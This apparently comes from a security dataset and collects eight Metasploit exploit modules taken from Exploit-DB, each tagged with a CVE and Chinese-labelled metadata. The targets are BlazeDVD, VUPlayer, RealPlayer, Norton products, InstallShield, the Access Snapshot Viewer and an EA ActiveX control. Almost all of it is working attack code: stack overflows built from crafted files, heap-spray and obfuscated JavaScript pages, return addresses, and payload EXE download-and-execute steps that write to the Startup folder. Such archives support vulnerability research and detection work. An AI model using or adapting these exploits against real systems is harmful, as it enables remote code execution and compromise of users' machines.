QLWD/code_shield huggingface dataset:
标题: BlazeDVD 5.1 - PLF Buffer Overflow (Metasploit) EDB-ID: 16618 CVE: 2006-6199 类型: LOCAL 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: blazedvd_plf.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'BlazeDVD 5.1 PLF Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack over flow in BlazeDVD 5.1. When
     the application is used to open a specially crafted plf file,
     a buffer is overwritten allowing for the execution of arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE' , '2006-6199' ],
     [ 'OSVDB', '30770'],
     [ 'BID', '35918' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'BlazeDVD 5.1', { 'Ret' => 0x100101e7 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 03 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.plf']),
   ], self.class)
 end

 def exploit

  plf = rand_text_alpha_upper(6024)

  plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2)  + [target.ret].pack('V')
  plf[876,12] = make_nops(12)
  plf[888,payload.encoded.length] = payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(plf)

 end

end

=begin
0:000> !exchain
0012f2c8: 31644230
Invalid exception stack at 64423963
0:000> !pattern_offset 6024 0x31644230
[Byakugan] Control of 0x31644230 at offset 872.
0:000> !pattern_offset 6024 0x64423963
[Byakugan] Control of 0x64423963 at offset 868.
0:000> s -b 0x10000000 0x10018000 5e 59 c3
100012cd  5e 59 c3 56 8b 74 24 08-57 8b f9 56 e8 a2 3c 00  ^Y.V.t$.W..V..<.
100101e7  5e 59 c3 90 90 90 90 90-90 8b 44 24 08 8b 4c 24  ^Y........D$..L$
0:000> u 0x100012cd L3
skinscrollbar!SkinSB_ParentWndProc+0x1fd:
100012cd 5e              pop     esi
100012ce 59              pop     ecx
100012cf c3              ret
=end URL: https://www.exploit-db.com/exploits/16618
标题: Electronic Arts SnoopyCtrl - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16609 CVE: 2007-4466 类型: REMOTE 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: ea_checkrequirements.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Electronic Arts SnoopyCtrl ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Electronic Arts SnoopyCtrl
    ActiveX Control (NPSnpy.dll 1.1.0.36. When sending a overly long
    string to the CheckRequirements() method, an attacker may be able
    to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2007-4466' ],
     [ 'OSVDB', '37723'],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
    ],
   'DisclosureDate' => 'Oct 8 2007',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  ret = Rex::Text.uri_encode(Metasm::Shellcode.assemble(Metasm::Ia32.new, "or al, 12").encode_string * 2)

  js = %Q|
   try {
    var evil_string = "";
    var index;
    var vulnerable = new ActiveXObject('SnoopyX.SnoopyCtrl.1');
    var my_unescape = unescape;
    var shellcode = '#{shellcode}';
    #{js_heap_spray}
    sprayHeap(my_unescape(shellcode), 0x0c0c0c0c, 0x40000);
    for (index = 0; index < 5000; index++) {
     evil_string = evil_string + my_unescape('#{ret}');
    }
    vulnerable.CheckRequirements(evil_string);
   } catch( e ) { window.location = 'about:blank' ; }
  |

  opts = {
   'Strings' => true,
   'Symbols' => {
    'Variables' => [
     'vulnerable',
     'shellcode',
     'my_unescape',
     'index',
     'evil_string',
    ]
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.update_opts(js_heap_spray.opts)
  js.obfuscate()
  content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16609
标题: VUPlayer - '.m3u' Local Buffer Overflow (Metasploit) EDB-ID: 16617 CVE: 2006-6251 类型: LOCAL 平台: WINDOWS 发布日期: 2010-11-11 漏洞利用脚本: ##
# $Id: vuplayer_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'VUPlayer M3U Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack over flow in VUPlayer <= 2.49. When
     the application is used to open a specially crafted m3u file, an buffer is overwritten allowing
     for the execution of arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10998 $',
   'References'     =>
    [
     [ 'CVE', '2006-6251' ],
     [ 'OSVDB', '31710' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
     'DisablePayloadHandler' => 'true',
    },
   'Payload'        =>
    {
     'Space'    => 750,
     'BadChars' => "\x00",
     'EncoderType'   => Msf::Encoder::Type::AlphanumUpper,
     'DisableNops'  =>  'True',
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'VUPlayer 2.49', { 'Ret' => 0x1010539f } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Aug 18 2009',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME',   [ false, 'The file name.',  'msf.m3u']),
   ], self.class)
 end

 def exploit

  m3u = rand_text_alpha_upper(2024)

  m3u[1012,4]  = [target.ret].pack('V')
  m3u[1016,12] = "\x90" * 12
  m3u[1028,payload.encoded.length] = payload.encoded

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(m3u)

 end

end
=begin
0:000> r eip
eip=68423768
0:000> !pattern_offset 2024
[Byakugan] Control of ecx at offset 996.
[Byakugan] Control of ebp at offset 1008.
[Byakugan] Control of eip at offset 1012.
0:000> d esp
0012ef44  39684238 42306942 69423169 33694232  8Bh9Bi0Bi1Bi2Bi3
0012ef54  42346942 69423569 37694236 42386942  Bi4Bi5Bi6Bi7Bi8B
0012ef64  6a423969 316a4230 42326a42 6a42336a  i9Bj0Bj1Bj2Bj3Bj
0012ef74  356a4234 42366a42 6a42376a 396a4238  4Bj5Bj6Bj7Bj8Bj9
0012ef84  42306b42 6b42316b 336b4232 42346b42  Bk0Bk1Bk2Bk3Bk4B
0012ef94  6b42356b 376b4236 42386b42 6c42396b  k5Bk6Bk7Bk8Bk9Bl
0:000> s -b 0x10100000 0x1010a000 ff e4
1010539f  ff e4 49 10 10 20 05 93-19 01 00 00 00 9c 53 10  ..I.. ........S.
0:000> u 0x1010539f L1
BASSWMA!BASSplugin+0xe9a:
1010539f ffe4            jmp     esp
=end URL: https://www.exploit-db.com/exploits/16617
标题: Symantec Norton Internet Security 2004 - ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16610 CVE: 2007-1689 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: nis2004_get.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Symantec Norton Internet Security 2004 ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in the ISAlertDataCOM ActiveX
    Control (ISLAert.dll) provided by Symantec Norton Internet Security 2004.
    By sending a overly long string to the "Get()" method, an attacker may be
    able to execute arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2007-1689' ],
     [ 'OSVDB', '36164'],
     [ 'URL', 'http://securityresponse.symantec.com/avcenter/security/Content/2007.05.16.html' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 800,
     'BadChars'      => "\x00\x09\x0a\x0d'\\",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 272, 'Ret' => 0x71aa32ad } ],
     [ 'Windows 2000 Pro English All',       { 'Offset' => 272, 'Ret' => 0x75022ac4 } ],
    ],
   'DisclosureDate' => 'May 16 2007',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  # Randomize some things
  vname = rand_text_alpha(rand(100) + 1)
  strname = rand_text_alpha(rand(100) + 1)

  # Set the exploit buffer
  sploit =  rand_text_alpha(target['Offset']) + Rex::Arch::X86.jmp_short(12)
  sploit << make_nops(2) + [target.ret].pack('V') + p.encoded

  # Build out the message
  content = %Q|
   <html>
   <object classid='clsid:BE39AEFD-5704-4BB5-B1DF-B7992454AB7E' id='#{vname}'></object>
   <script language='javascript'>
   var #{vname} = document.getElementById('#{vname}');
   var #{strname} = new String('#{sploit}');
   #{vname}.Get(#{strname});
   </script>
   </html>
   |

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16610
标题: Macrovision Installshield Update Service - ActiveX Unsafe Method (Metasploit) EDB-ID: 16602 CVE: 2007-5660 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: macrovision_unsafe.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Macrovision InstallShield Update Service ActiveX Unsafe Method',
   'Description'    => %q{
    This module allows attackers to execute code via an unsafe methods in Macrovision InstallShield 2008.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2007-5660' ],
     [ 'OSVDB', '38347' ],
     [ 'BID', '26280' ],
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Oct 20 2007'))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha(rand(20) + 1)

  content = %Q|
   <html>
    <object classid='clsid:E9880553-B8A7-4960-A668-95C68BED571E' id='#{vname}'></object>
    <script language='JavaScript'>
     #{vname}.Initialize("#{vname}","#{vname}","","");
     #{vname}.DownloadAndExecute("","",1,"#{payload_url}/#{exe}.exe","");
     #{vname}.DownloadAndInstall("True");
    </script>
   </html>
      |

  content = Rex::Text.randomize_space(content)

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16602
标题: Snapshot Viewer for Microsoft Access - ActiveX Control Arbitrary File Download (Metasploit) EDB-ID: 16605 CVE: 2008-2463 类型: REMOTE 平台: WINDOWS 发布日期: 2010-09-20 漏洞利用脚本: ##
# $Id: ms08_041_snapshotviewer.rb 10394 2010-09-20 08:06:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpServer::HTML
 include Msf::Exploit::EXE

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download',
   'Description'    => %q{
     This module allows remote attackers to place arbitrary files on a users file system
    via the Microsoft Office Snapshot Viewer ActiveX Control.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 10394 $',
   'References'     =>
    [
     [ 'CVE', '2008-2463' ],
     [ 'OSVDB', '46749'],
     [ 'MSB', 'MS08-041' ],
     [ 'BID', '30114' ],
    ],
   'Payload'        =>
    {
     'Space'           => 2048,
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Automatic', { } ],
    ],
   'DefaultTarget'  => 0,
   'DisclosureDate' => 'Jul 07 2008'))

  register_options(
   [
    OptString.new('PATH', [ true, 'The path to place the executable.', 'C:\\\\Documents and Settings\\\\All Users\\\\Start Menu\\\\Programs\\\\Startup\\\\']),
   ], self.class)
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)

  payload_url =  "http://"
  payload_url += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
  payload_url += ":" + datastore['SRVPORT'] + get_resource() + "/payload"

  if (request.uri.match(/payload/))
   return if ((p = regenerate_payload(cli)) == nil)
   data = generate_payload_exe({ :code => p.encoded })
   print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
   send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
   return
  end

  vname  = rand_text_alpha(rand(100) + 1)
  exe    = rand_text_alpha(rand(20) + 1)

  content = %Q|
  <html>
  <head>
   <script>
   try {
    var #{vname} = new ActiveXObject('snpvw.Snapshot Viewer Control.1');
    #{vname}.SnapshotPath = "#{payload_url}";
    #{vname}.CompressedPath = "#{datastore['PATH']}\\#{exe}.exe";
    #{vname}.PrintSnapshot();
   } catch( e ) { window.location = 'about:blank' ; }
   </script>
  </head>
  </html>
    |

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  send_response_html(cli, content)

  handler(cli)

 end

end URL: https://www.exploit-db.com/exploits/16605
标题: Norton AntiSpam 2004 - SymSpamHelper ActiveX Control Buffer Overflow (Metasploit) EDB-ID: 16595 CVE: 2004-0363 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: nis2004_antispam.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Norton AntiSpam 2004 SymSpamHelper ActiveX Control Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Norton AntiSpam 2004. When
    sending an overly long string to the LaunchCustomRuleWizard() method
    of symspam.dll (2004.1.0.147) an attacker may be able to execute
    arbitrary code.
   },
   'License'        => MSF_LICENSE,
   'Author'         => [ 'MC' ],
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2004-0363' ],
     [ 'OSVDB', '6249' ],
     [ 'BID', '9916' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'         => 1024,
     'BadChars'      => "\x00",
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
    ],
   'DisclosureDate' => 'Mar 19 2004',
   'DefaultTarget'  => 0))
 end

 def autofilter
  false
 end

 def check_dependencies
  use_zlib
 end

 def on_request_uri(cli, request)
  # Re-generate the payload.
  return if ((p = regenerate_payload(cli)) == nil)

  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

  # Set the return.
  ret     = Rex::Text.uri_encode([target.ret].pack('L'))

  js = %Q|
  try {
    var evil_string = "";
    var index;
    var vulnerable = new ActiveXObject('SymSpamBlockingUI.SymSpamHelper.1');
    var my_unescape = unescape;
    var shellcode = '#{shellcode}';
    #{js_heap_spray}
    sprayHeap(my_unescape(shellcode), #{target.ret}, 0x40000);
    for (index = 0; index < 2024; index++) {
     evil_string = evil_string + my_unescape('#{ret}');
    }
    vulnerable.LaunchCustomRuleWizard(evil_string);
   } catch( e ) { window.location = 'about:blank' ; }
  |

  opts = {
   'Strings' => true,
   'Symbols' => {
    'Variables' => [
     'vulnerable',
     'shellcode',
     'my_unescape',
     'index',
     'evil_string',
    ]
   }
  }
  js = ::Rex::Exploitation::ObfuscateJS.new(js, opts)
  js.update_opts(js_heap_spray.opts)
  js.obfuscate()
  content = %Q|<html>
<body>
<script><!--
#{js}
//</script>
</body>
</html>
|

  print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content)

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16595
标题: RealNetworks RealPlayer - '.SMIL' Remote Buffer Overflow (Metasploit) EDB-ID: 16586 CVE: 2005-0455 类型: REMOTE 平台: WINDOWS 发布日期: 2010-05-09 漏洞利用脚本: ##
# $Id: realplayer_smil.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealNetworks RealPlayer SMIL Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.
    By creating a URL link to a malicious SMIL file, a remote attacker could
    overflow a buffer and execute arbitrary code.
    When using this module, be sure to set the URIPATH with an extension of '.smil'.
    This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8
    build 6.0.9.584.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 'MC',
   'Version'        => '$Revision: 9262 $',
   'References'     =>
    [
     [ 'CVE', '2005-0455' ],
     [ 'OSVDB', '14305'],
     [ 'BID', '12698' ],
    ],

   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },

   'Payload'        =>
    {
     'Space'    => 500,
     'BadChars' => "\x00\x90\x0a\x0d\x20\x3c\x3e\x2f\x5c\x22\x58\x3d\x3b\x40\x3f\x27\x26\x25",
     'StackAdjustment' => -3500,
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'RealPlayer 10/8 on Windows 2000 SP0-SP4 English',     { 'Offset' => 608, 'Ret' => 0x75022ac4 } ],
     [ 'RealPlayer 10/8 on Windows XP PRO SP0-SP1 English',   { 'Offset' => 584, 'Ret' => 0x71aa2461 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Mar 1 2005',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  cruft  =  rand_text_alpha_upper(1)
  bleh   =  rand_text_alpha_upper(11)

  sploit =  rand_text_alpha_upper(target['Offset']) + payload.encoded
  sploit << "\xeb\x06" + rand_text_alpha_upper(2) + [target.ret].pack('V')
  sploit << [0xe8, -485].pack('CV')

  # Build the HTML content
  content =  "<smil><head><layout><region id=\"#{cruft}\" top=\"#{cruft}\" /></layout></head>"
  content << "<body><text src=\"#{bleh}.txt\" region=\"size\" system-screen-size=\"#{sploit}\" /></body></smil>"

  print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

  # Transmit the response to the client
  send_response_html(cli, content, { 'Content-Type' => 'text/html' })

  # Handle the payload
  handler(cli)
 end

end URL: https://www.exploit-db.com/exploits/16586